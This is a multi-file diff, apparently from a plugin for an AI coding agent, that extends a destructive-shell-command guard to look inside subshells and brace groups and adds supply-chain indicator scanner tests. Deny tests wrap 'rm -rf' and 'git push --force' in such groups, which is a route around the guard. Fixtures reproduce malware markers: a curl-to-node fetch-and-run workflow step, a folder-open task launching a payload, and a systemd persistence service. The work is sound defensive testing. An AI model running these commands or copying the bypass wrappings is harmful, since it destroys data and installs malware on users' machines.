* separators (`;`, `|`, `&`, `&&`, `||`) and across subshells
@@ -392,6 +298,54 @@ function isDestructiveGit(tokens) {
* @param {string} command
* @returns {boolean}
*/
/**
* Walk every executable body reachable from a raw command line and
* return them as a flat list. Bodies that bash will execute live in
* three different syntactic constructs, each handled by a sibling
* extractor in `scripts/lib/shell-substitution.js`:
* - `$(...)` and backticks via `extractCommandSubstitutions`
* - plain `(...)` subshells via `extractSubshellGroups`
* - `{ ...; }` brace groups via `extractBraceGroups`
*
* Each extractor recurses into its own syntax. The BFS here adds
* cross-syntax discovery — e.g. a `(...)` inside a `$(...)` body, or
* a `{ ...; }` inside a `(...)` body — by feeding every harvested
* body back through all three extractors. A `seen` set bounds the
* cost to O(unique bodies).
*
* @param {string} raw
* @returns {string[]}
*/
function collectExecutableBodies(raw) {
const bodies = [raw];
const queue = [raw];
const seen = new Set();
while (queue.length) {
const current = queue.shift();
if (seen.has(current)) continue;
seen.add(current);
for (const body of extractCommandSubstitutions(current)) {
if (seen.has(body)) continue;
bodies.push(body);
queue.push(body);
}
for (const body of extractSubshellGroups(current)) {
if (seen.has(body)) continue;
bodies.push(body);
queue.push(body);
}
for (const body of extractBraceGroups(current)) {
if (seen.has(body)) continue;
bodies.push(body);
queue.push(body);
}
}
return bodies;
}
function isDestructiveBash(command) {
// The SQL/dd phrases live in command bodies, not as flag-bearing
// arguments, so we still match them by regex — but on the input
@@ -401,7 +355,7 @@ function isDestructiveBash(command) {
const flattened = explodeSubshells(stripQuotedStrings(raw));
if (DESTRUCTIVE_SQL_DD.test(flattened)) return true;
const segments = [raw, ...extractCommandSubstitutions(raw)].flatMap(splitCommandSegments);
const segments = collectExecutableBodies(raw).flatMap(splitCommandSegments);
for (const segment of segments) {
if (DESTRUCTIVE_SQL_DD.test(stripQuotedStrings(segment))) return true;
const tokens = tokenize(segment);

View File

@@ -243,4 +243,252 @@ function extractSubshellGroups(input) {
return groups;
}
module.exports = { extractCommandSubstitutions, extractSubshellGroups };
/**
* Extract bodies of `{ ...; }` brace groups.
*
* Bash brace groups run their body in the *current* shell (unlike `(...)`,
* which forks a subshell). Both forms group multiple commands, so for the
* purposes of destructive-bash and dev-server detection they are equivalent:
* a `rm -rf` or `npm run dev` inside `{ ...; }` still executes.
*
* Recognition rules match bash's own reserved-word semantics:
* - `{` is a reserved word only when followed by whitespace and preceded by
* the line start, whitespace, or a shell operator (`;`, `|`, `&`, `(`).
* So `{npm run dev}` is NOT a brace group (single token starting with `{`).
* - `}` closes the group only when preceded by `;` or whitespace.
* So `foo}` inside the body is not a closing brace.
* - Single quotes are literal; double quotes are also literal for `{`/`}`.
* - `$(...)`, backticks, and plain `(...)` spans are skipped so we don't
* double-extract bodies the sibling extractors already cover.
*
* @param {string} input
* @returns {string[]}
*/
function extractBraceGroups(input) {
const source = String(input || '');
const groups = [];
let inSingle = false;
let inDouble = false;
for (let i = 0; i < source.length; i++) {
const ch = source[i];
const prev = source[i - 1];
if (ch === '\\' && !inSingle) {
i += 1;
continue;
}
if (ch === "'" && !inDouble && prev !== '\\') {
inSingle = !inSingle;
continue;
}
if (ch === '"' && !inSingle && prev !== '\\') {
inDouble = !inDouble;
continue;
}
if (inSingle || inDouble) {
continue;
}
if (ch === '$' && source[i + 1] === '(') {
let depth = 1;
let skipInSingle = false;
let skipInDouble = false;
i += 2;
while (i < source.length && depth > 0) {
const inner = source[i];
const innerPrev = source[i - 1];
if (inner === '\\' && !skipInSingle) {
i += 2;
continue;
}
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
skipInSingle = !skipInSingle;
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
skipInDouble = !skipInDouble;
} else if (!skipInSingle && !skipInDouble) {
if (inner === '(') depth += 1;
else if (inner === ')') depth -= 1;
}
i += 1;
}
i -= 1;
continue;
}
if (ch === '`') {
i += 1;
while (i < source.length && source[i] !== '`') {
if (source[i] === '\\' && i + 1 < source.length) {
i += 2;
continue;
}
i += 1;
}
continue;
}
if (ch === '(') {
let depth = 1;
let skipInSingle = false;
let skipInDouble = false;
i += 1;
while (i < source.length && depth > 0) {
const inner = source[i];
const innerPrev = source[i - 1];
if (inner === '\\' && !skipInSingle) {
i += 2;
continue;
}
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
skipInSingle = !skipInSingle;
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
skipInDouble = !skipInDouble;
} else if (!skipInSingle && !skipInDouble) {
if (inner === '(') depth += 1;
else if (inner === ')') depth -= 1;
}
i += 1;
}
i -= 1;
continue;
}
if (ch === '{' && /\s/.test(source[i + 1] || '')) {
const prevIsBoundary = i === 0 || /[\s;|&(]/.test(prev);
if (!prevIsBoundary) continue;
let depth = 1;
let body = '';
let bodyInSingle = false;
let bodyInDouble = false;
i += 1;
while (i < source.length && depth > 0) {
const inner = source[i];
const innerPrev = source[i - 1];
if (inner === '\\' && !bodyInSingle) {
body += inner;
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
}
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
bodyInSingle = !bodyInSingle;
body += inner;
i += 1;
continue;
}
if (inner === '"' && !bodyInSingle && innerPrev !== '\\') {
bodyInDouble = !bodyInDouble;
body += inner;
i += 1;
continue;
}
if (bodyInSingle || bodyInDouble) {
body += inner;
i += 1;
continue;
}
// Skip $(...) spans — a quoted `}` or `}`-as-text inside a
// substitution body must not close the enclosing brace group.
if (inner === '$' && source[i + 1] === '(') {
body += inner + source[i + 1];
let subDepth = 1;
let subInSingle = false;
let subInDouble = false;
i += 2;
while (i < source.length && subDepth > 0) {
const c = source[i];
const p = source[i - 1];
body += c;
if (c === '\\' && !subInSingle && i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
else if (!subInSingle && !subInDouble) {
if (c === '(') subDepth += 1;
else if (c === ')') subDepth -= 1;
}
i += 1;
}
continue;
}
// Skip backtick spans for the same reason.
if (inner === '`') {
body += inner;
i += 1;
while (i < source.length && source[i] !== '`') {
if (source[i] === '\\' && i + 1 < source.length) {
body += source[i] + source[i + 1];
i += 2;
continue;
}
body += source[i];
i += 1;
}
if (i < source.length) {
body += source[i];
i += 1;
}
continue;
}
// Skip plain (...) subshell spans for the same reason.
if (inner === '(') {
body += inner;
let subDepth = 1;
let subInSingle = false;
let subInDouble = false;
i += 1;
while (i < source.length && subDepth > 0) {
const c = source[i];
const p = source[i - 1];
body += c;
if (c === '\\' && !subInSingle && i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
else if (!subInSingle && !subInDouble) {
if (c === '(') subDepth += 1;
else if (c === ')') subDepth -= 1;
}
i += 1;
}
continue;
}
if (inner === '{' && /\s/.test(source[i + 1] || '')) {
// Match the outer-scan boundary rule for nested `{` so
// tokens like `foo{` (no boundary, but followed by space
// via `foo{ bar`) cannot bump nested depth.
const nestedPrevIsBoundary = /[\s;|&(]/.test(innerPrev);
if (nestedPrevIsBoundary) depth += 1;
} else if (inner === '}' && (innerPrev === ';' || /\s/.test(innerPrev))) {
depth -= 1;
if (depth === 0) {
break;
}
}
body += inner;
i += 1;
}
if (body.trim()) {
groups.push(body);
groups.push(...extractBraceGroups(body));
}
}
}
return groups;
}
module.exports = { extractCommandSubstitutions, extractSubshellGroups, extractBraceGroups };

View File

@@ -1,6 +1,6 @@
---
name: canary-watch
description: Use this skill to monitor a deployed URL for regressions after deploys, merges, or dependency upgrades.
description: Use this skill to monitor and verify a deployed URL after releases — checks HTTP endpoints, SSE streams, static assets, console errors, and performance regressions after deploys, merges, or dependency upgrades. Smoke / canary / post-deploy verification.
origin: ECC
---
@@ -27,6 +27,8 @@ Monitors a deployed URL for regressions. Runs in a loop until stopped or until t
4. Performance — LCP/CLS/INP regression vs baseline?
5. Content — did key elements disappear? (h1, nav, footer, CTA)
6. API Health — are critical endpoints responding within SLA?
7. Static Assets — are JS, CSS, image, and font requests returning 2xx/3xx with expected content types?
8. SSE Streams — do event-stream endpoints connect and receive an initial event or heartbeat?
```
### Watch Modes
@@ -54,12 +56,16 @@ critical: # immediate alert
- Console error count > 5 (new errors only)
- LCP > 4s
- API endpoint returns 5xx
- Static asset returns 4xx/5xx
- SSE endpoint cannot connect or drops before first heartbeat
warning: # flag in report
- LCP increased > 500ms from baseline
- CLS > 0.1
- New console warnings
- Response time > 2x baseline
- Static asset content type changed unexpectedly
- SSE heartbeat latency > 2x baseline
info: # log only
- Minor performance variance
@@ -87,6 +93,8 @@ When a critical threshold is crossed:
| LCP | 1.8s ✓ | 1.6s | +200ms |
| CLS | 0.01 ✓ | 0.01 | — |
| API /health | 145ms ✓ | 120ms | +25ms |
| Static assets | 42/42 ✓ | 42/42 | — |
| SSE /events | connected ✓ | connected | +80ms heartbeat |
### No regressions detected. Deploy is clean.
```

View File

@@ -366,6 +366,65 @@ def stop_recording(proc):
proc.stdin.write(b"q"); proc.stdin.flush(); proc.wait(timeout=10)
```
## Per-Step Trace (opt-in)
The default failure screenshot is often too thin for diagnosing flaky tests. The step-level trace below is **off by default** — enable it only when reproducing a flaky case.
### Enable
```bash
E2E_TRACE=1 pytest tests/test_login.py -v
# Include typed text in the JSONL log (DO NOT use on tests that type credentials/PII):
E2E_TRACE=1 E2E_TRACE_INCLUDE_TEXT=1 pytest ...
```
### Patch into BasePage
```python
import os, json, time
TRACE_ENABLED = os.environ.get("E2E_TRACE") == "1"
TRACE_INCLUDE_TEXT = os.environ.get("E2E_TRACE_INCLUDE_TEXT") == "1"
class BasePage:
_step = 0
def _trace(self, action, spec=None, text=None):
if not TRACE_ENABLED:
return
BasePage._step += 1
idx = f"{BasePage._step:03d}"
os.makedirs(ARTIFACT_DIR, exist_ok=True)
try:
self.window.capture_as_image().save(
os.path.join(ARTIFACT_DIR, f"step_{idx}_{action}.png"))
except Exception:
pass # capture failure must not break the test
rec = {
"ts": time.time(), "step": BasePage._step, "action": action,
"locator": getattr(spec, "criteria", None),
"text": text if TRACE_INCLUDE_TEXT else ("<redacted>" if text else None),
}
with open(os.path.join(ARTIFACT_DIR, "trace.jsonl"), "a") as f:
f.write(json.dumps(rec) + "\n")
def click(self, spec):
self.wait_visible(spec); self._trace("click_before", spec)
spec.click_input(); self._trace("click_after", spec)
def type_text(self, spec, text):
self.wait_visible(spec); self._trace("type_before", spec, text)
# ... existing set_edit_text / keyboard fallback ...
self._trace("type_after", spec)
```
### Caveats
- **PII / credentials**: `type_text` content is `<redacted>` by default. Never set `E2E_TRACE_INCLUDE_TEXT=1` on login or payment flows.
- **Overhead**: ~50200ms per action + one PNG per step on disk. Don't enable on the default CI matrix — only on a dedicated flake-repro job.
- **Artifact bloat**: a long flow produces tens of MB; tune `retention-days` accordingly.
- **Parallel/rerun hygiene**: this simple example appends to `trace.jsonl` and uses a class-level counter. Clear the artifact directory before reruns, and use per-worker artifact dirs for parallel tests.
- **Coverage gap**: actions performed outside `BasePage` (raw `pywinauto` calls in test code) are not traced.
## Flaky Test Handling
```python
@@ -387,6 +446,8 @@ Common causes and fixes:
| Animation in progress | `wait_until(lambda: not loading_indicator.exists())` |
| Dialog timing | `wait_window(title, timeout=15)` |
| CI display not ready | Set `DISPLAY` or use virtual desktop in CI |
| `set_edit_text` raises NotImplementedError | UIA ValuePattern missing (common on Qt 5.x) — `BasePage.type_text` already falls back to `keyboard.send_keys` |
| Control exists but `wait_visible` times out | Window minimised or off-screen — call `win.restore()` + `win.set_focus()` before waiting |
## Test Isolation & Sandbox
@@ -719,6 +780,44 @@ def click_image(template_path, confidence=0.85):
pyautogui.click(*pos)
```
### DPI / Scaling Rules (screenshot mode only)
Screenshot matching is brutally sensitive to Windows display scaling (100% / 125% / 150%). Three hard rules:
1. **Capture templates at the same scale as the target machine.** Don't try to rescue a mismatch with `PIL.Image.resize``cv2.matchTemplate` is very fragile against resampling artefacts.
2. **Pin the CI display scaling.** On `windows-latest` add a step like `Set-DisplayResolution 1920 1080 -Force` and disable per-monitor DPI scaling, so screenshot dimensions are reproducible.
3. **Record the scale alongside each artefact.** On capture, write `GetDpiForWindow(hwnd) / 96` to `artifacts/<test>/metadata.json` — postmortems become obvious instead of guess-work.
> Process-level DPI awareness (`SetProcessDpiAwarenessContext`) **can conflict with Qt's own DPI handling** when the app under test is Qt-based. Prefer "same-scale templates + CI pin" over flipping process-wide DPI mode in fixtures.
### Debugging Match Confidence
When tuning the `confidence` threshold, the only sane workflow is to **see** where the match landed. The helper below is diagnosis-only — do not call it from test code.
```python
def debug_match(template_path, out="artifacts/match_debug.png", confidence=0.85):
"""Diagnosis-only. Draw the best-match rectangle + score back on the current screen.
NOT for production tests — use when calibrating confidence or chasing false matches.
"""
import os, cv2, pyautogui, numpy as np
screen = np.array(pyautogui.screenshot())[:, :, ::-1]
tpl = cv2.imread(template_path)
if tpl is None:
raise RuntimeError(f"Template unreadable: {template_path}")
res = cv2.matchTemplate(screen, tpl, cv2.TM_CCOEFF_NORMED)
_, mv, _, ml = cv2.minMaxLoc(res)
h, w = tpl.shape[:2]
colour = (0, 255, 0) if mv >= confidence else (0, 0, 255) # green pass / red fail
cv2.rectangle(screen, ml, (ml[0]+w, ml[1]+h), colour, 2)
cv2.putText(screen, f"score={mv:.3f} thr={confidence}",
(ml[0], max(20, ml[1]-6)),
cv2.FONT_HERSHEY_SIMPLEX, 0.7, colour, 2)
os.makedirs(os.path.dirname(out) or ".", exist_ok=True)
cv2.imwrite(out, screen)
return mv
```
**Use sparingly** — image matching breaks on DPI changes, theme switches, and partial occlusion.
Always try UIA first; fall back to screenshots only for genuinely unreachable controls.

View File

@@ -11,6 +11,10 @@ const { spawnSync } = require('child_process');
const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js');
const { scanSupplyChainIocs } = require(SCRIPT_PATH);
const TANSTACK_SETUP_DEPENDENCY = [
'github:tanstack/router#79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join('');
function test(name, fn) {
try {
@@ -68,6 +72,38 @@ function run() {
});
})) passed++; else failed++;
if (test('rejects expanded Mini Shai-Hulud campaign package versions', () => {
withFixture({
'package-lock.json': JSON.stringify({
packages: {
'node_modules/@opensearch-project/opensearch': {
version: '3.5.3',
},
'node_modules/@squawk/mcp': {
version: '0.9.5',
},
'node_modules/@mistralai/mistralai': {
version: '2.2.2',
},
},
}, null, 2),
'requirements.txt': [
'mistralai==2.4.6',
'guardrails-ai==0.10.1',
'lightning==2.6.3',
].join('\n'),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('@opensearch-project/opensearch@3.5.3'));
assert.ok(indicators.includes('@squawk/mcp@0.9.5'));
assert.ok(indicators.includes('@mistralai/mistralai@2.2.2'));
assert.ok(indicators.includes('mistralai@2.4.6'));
assert.ok(indicators.includes('guardrails-ai@0.10.1'));
assert.ok(indicators.includes('lightning@2.6.3'));
});
})) passed++; else failed++;
if (test('passes clean versions of watched packages', () => {
withFixture({
'package-lock.json': JSON.stringify({
@@ -89,7 +125,7 @@ function run() {
packages: {
'node_modules/@tanstack/history': {
optionalDependencies: {
'@tanstack/setup': 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c',
'@tanstack/setup': TANSTACK_SETUP_DEPENDENCY,
},
},
},
@@ -116,12 +152,85 @@ function run() {
});
})) passed++; else failed++;
if (test('rejects current dead-drop and import-time payload markers', () => {
withFixture({
'.vscode/tasks.json': JSON.stringify({
tasks: [{
label: 'watch',
command: 'python3 /tmp/transformers.pyz && node execution.js',
runOptions: { runOn: 'folderOpen' },
}],
}, null, 2),
'package.json': JSON.stringify({
description: 'Shai-Hulud: Here We Go Again',
}, null, 2),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
assert.ok(result.findings.some(finding => finding.indicator === 'transformers.pyz'));
assert.ok(result.findings.some(finding => finding.indicator === 'execution.js'));
assert.ok(result.findings.some(finding => finding.indicator === 'Shai-Hulud: Here We Go Again'));
});
})) passed++; else failed++;
if (test('rejects dead-man switch and workflow persistence markers', () => {
withFixture({
'.vscode/tasks.json': JSON.stringify({
tasks: [{
label: 'monitor',
command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
runOptions: { runOn: 'folderOpen' },
}],
}, null, 2),
'.github/workflows/codeql_analysis.yml': [
'name: codeql_analysis',
'on: push',
'jobs:',
' shai-hulud:',
' runs-on: ubuntu-latest',
' steps:',
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
' - run: echo svksjrhjkcejg',
' - run: echo OhNoWhatsGoingOnWithGitHub',
' - run: echo claude@users.noreply.github.com',
' - run: echo dependabout/router/setup-formatter',
' - run: echo signalservice snode',
].join('\n'),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
assert.ok(indicators.includes('codeql_analysis.yml'));
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
assert.ok(indicators.includes('svksjrhjkcejg'));
assert.ok(indicators.includes('OhNoWhatsGoingOnWithGitHub'));
assert.ok(indicators.includes('claude@users.noreply.github.com'));
assert.ok(indicators.includes('dependabout/'));
assert.ok(indicators.includes('signalservice'));
assert.ok(indicators.includes('snode'));
});
})) passed++; else failed++;
if (test('rejects user-level Python persistence payloads when home scan is enabled', () => {
withFixture({
'home/.local/bin/pgmonitor.py': 'print("persistence")',
'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py',
}, rootDir => {
const homeDir = path.join(rootDir, 'home');
const result = scanSupplyChainIocs({ rootDir, home: true, homeDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('pgmonitor.py'));
assert.ok(indicators.includes('pgsql-monitor.service'));
});
})) passed++; else failed++;
if (test('rejects installed payload filenames in node_modules', () => {
withFixture({
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
'node_modules/@opensearch-project/opensearch/opensearch_init.js': '/* payload */',
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js'));
assert.ok(result.findings.some(finding => finding.indicator === 'opensearch_init.js'));
});
})) passed++; else failed++;

View File

@@ -0,0 +1,45 @@
const assert = require('assert');
const fs = require('fs');
const path = require('path');
const SKILL_PATH = path.join(__dirname, '..', '..', 'skills', 'canary-watch', 'SKILL.md');
function test(name, fn) {
try {
fn();
console.log(` \u2713 ${name}`);
return true;
} catch (error) {
console.log(` \u2717 ${name}`);
console.log(` Error: ${error.message}`);
return false;
}
}
function runTests() {
console.log('\n=== Testing canary-watch skill docs ===\n');
let passed = 0;
let failed = 0;
const body = fs.readFileSync(SKILL_PATH, 'utf8');
if (test('description monitoring claims are backed by watch sections', () => {
for (const phrase of [
'HTTP endpoints',
'SSE streams',
'static assets',
'console errors',
'performance regressions',
]) {
assert.ok(body.toLowerCase().includes(phrase.toLowerCase()), `missing phrase: ${phrase}`);
}
assert.ok(body.includes('Static Assets'), 'watch list should include static assets');
assert.ok(body.includes('SSE Streams'), 'watch list should include SSE streams');
assert.ok(body.includes('SSE endpoint cannot connect'), 'critical thresholds should cover SSE failures');
})) passed++; else failed++;
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
process.exit(failed > 0 ? 1 : 0);
}
runTests();

View File

@@ -1282,6 +1282,115 @@ function runTests() {
'double-quoted dollar-paren subshell');
})) passed++; else failed++;
// --- Subshell + brace-group bypass coverage ---
// Destructive commands inside `(...)` and `{ ...; }` execute the
// same way they do at the top level, so the destructive classifier
// must see inside those bodies too. Nested parens `((...))` are
// arithmetic-evaluation syntax in bash (not a nested subshell), but
// our parser depth-tracks them conservatively — i.e. the inner
// tokens are still scanned for destructive intent. That's safety
// over precision and the right default for this gate.
if (test('denies rm -rf inside plain (...) subshell group', () => {
expectDestructiveDeny('(rm -rf /tmp/junk)', 'plain subshell group');
})) passed++; else failed++;
if (test('denies rm -rf inside ((...)) — arithmetic eval, treated conservatively', () => {
expectDestructiveDeny('((rm -rf /tmp/junk))', 'arithmetic-eval parens');
})) passed++; else failed++;
if (test('denies rm -rf inside { ...; } brace group', () => {
expectDestructiveDeny('{ rm -rf /tmp/junk; }', 'brace group');
})) passed++; else failed++;
if (test('denies git push --force inside plain (...) subshell group', () => {
expectDestructiveDeny('(git push --force origin main)',
'git-force in subshell');
})) passed++; else failed++;
if (test('denies git push --force inside { ...; } brace group', () => {
expectDestructiveDeny('{ git push --force origin main; }',
'git-force in brace group');
})) passed++; else failed++;
if (test('denies rm -rf nested across () and {} (cross-syntax)', () => {
expectDestructiveDeny('(echo y; { rm -rf /tmp/junk; })',
'() containing {} cross-syntax');
})) passed++; else failed++;
if (test('denies rm -rf nested across $() and () (cross-syntax)', () => {
expectDestructiveDeny('$(echo y; (rm -rf /tmp/junk))',
'$() containing () cross-syntax');
})) passed++; else failed++;
// Negative cases — literals and non-destructive commands must NOT
// be promoted to destructive by the new grouping-body walker.
if (test('allows literal (rm -rf ...) inside single quotes', () => {
expectAllow("git commit -m '(rm -rf /tmp/junk)'",
'single-quoted subshell literal');
})) passed++; else failed++;
if (test('allows literal (rm -rf ...) inside double quotes', () => {
expectAllow('echo "(rm -rf /tmp/junk)"',
'double-quoted subshell literal');
})) passed++; else failed++;
if (test('allows literal { rm -rf ...; } inside double quotes', () => {
expectAllow('echo "{ rm -rf /tmp/junk; }"',
'double-quoted brace-group literal');
})) passed++; else failed++;
if (test('allows non-destructive (echo hello)', () => {
expectAllow('(echo hello)', 'non-destructive subshell');
})) passed++; else failed++;
if (test('allows non-destructive { echo hello; }', () => {
expectAllow('{ echo hello; }', 'non-destructive brace group');
})) passed++; else failed++;
if (test('allows {rm -rf} — no space after { is not a brace group', () => {
// bash treats `{rm` as a single token; no destructive intent
// can be statically derived from this form, and the command
// would not actually run rm at runtime either.
expectAllow('echo {rm -rf /tmp/junk}',
'no-space brace literal');
})) passed++; else failed++;
// --- Round 1 review fixes: brace-group span-skip + boundary ---
// Verifies the body-accumulation loop in `extractBraceGroups`
// correctly walks past `$(...)`, `(...)`, and backtick spans so
// a `}` inside one of those does not terminate the brace group
// early, plus the nested `{` boundary rule.
if (test('denies rm -rf in brace group with backtick containing }', () => {
expectDestructiveDeny('{ echo `echo }`; rm -rf /tmp/junk; }',
'brace + backtick containing }');
})) passed++; else failed++;
if (test('denies rm -rf in brace group with $() containing }', () => {
expectDestructiveDeny('{ echo $(echo "}"); rm -rf /tmp/junk; }',
'brace + $() containing }');
})) passed++; else failed++;
if (test('denies rm -rf in brace group with nested () containing }', () => {
expectDestructiveDeny('{ (echo "}"); rm -rf /tmp/junk; }',
'brace + () containing }');
})) passed++; else failed++;
if (test('denies rm -rf in brace group with $() body containing }', () => {
expectDestructiveDeny('{ x=$(echo a}b); rm -rf /tmp/junk; }',
'brace + $() body with }');
})) passed++; else failed++;
if (test('denies rm -rf when token like foo{ appears before brace group close', () => {
// tokens like `foo{` are not reserved-word `{` (no boundary,
// no whitespace after) — must not bump nested-depth and so
// must not delay brace-group close
expectDestructiveDeny('{ echo foo{bar; rm -rf /tmp/junk; }',
'foo{ token inside brace body');
})) passed++; else failed++;
// Cleanup only the temp directory created by this test file.
try {
if (fs.existsSync(stateDir)) {

View File

@@ -7,6 +7,7 @@ const fs = require('fs');
const path = require('path');
const README = path.join(__dirname, '..', '..', 'README.md');
const RULES_README = path.join(__dirname, '..', '..', 'rules', 'README.md');
function test(name, fn) {
try {
@@ -27,6 +28,7 @@ function runTests() {
let failed = 0;
const readme = fs.readFileSync(README, 'utf8');
const rulesReadme = fs.readFileSync(RULES_README, 'utf8');
if (test('README marks one default path and warns against stacked installs', () => {
assert.ok(
@@ -138,6 +140,29 @@ function runTests() {
);
})) passed++; else failed++;
if (test('rules README mirrors ECC namespaced install path', () => {
assert.ok(
rulesReadme.includes('mkdir -p ~/.claude/rules/ecc'),
'rules README should create the ECC-owned user-level rules namespace'
);
assert.ok(
rulesReadme.includes('cp -r rules/common ~/.claude/rules/ecc/'),
'rules README should copy common rules under ~/.claude/rules/ecc/'
);
assert.ok(
rulesReadme.includes('cp -r rules/typescript ~/.claude/rules/ecc/'),
'rules README should copy language rules under ~/.claude/rules/ecc/'
);
assert.ok(
rulesReadme.includes('mkdir -p .claude/rules/ecc'),
'rules README should document the project-local ECC namespace'
);
assert.ok(
!rulesReadme.includes('~/.claude/rules/typescript'),
'rules README should not recommend flat user-level rule destinations'
);
})) passed++; else failed++;
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
process.exit(failed > 0 ? 1 : 0);
}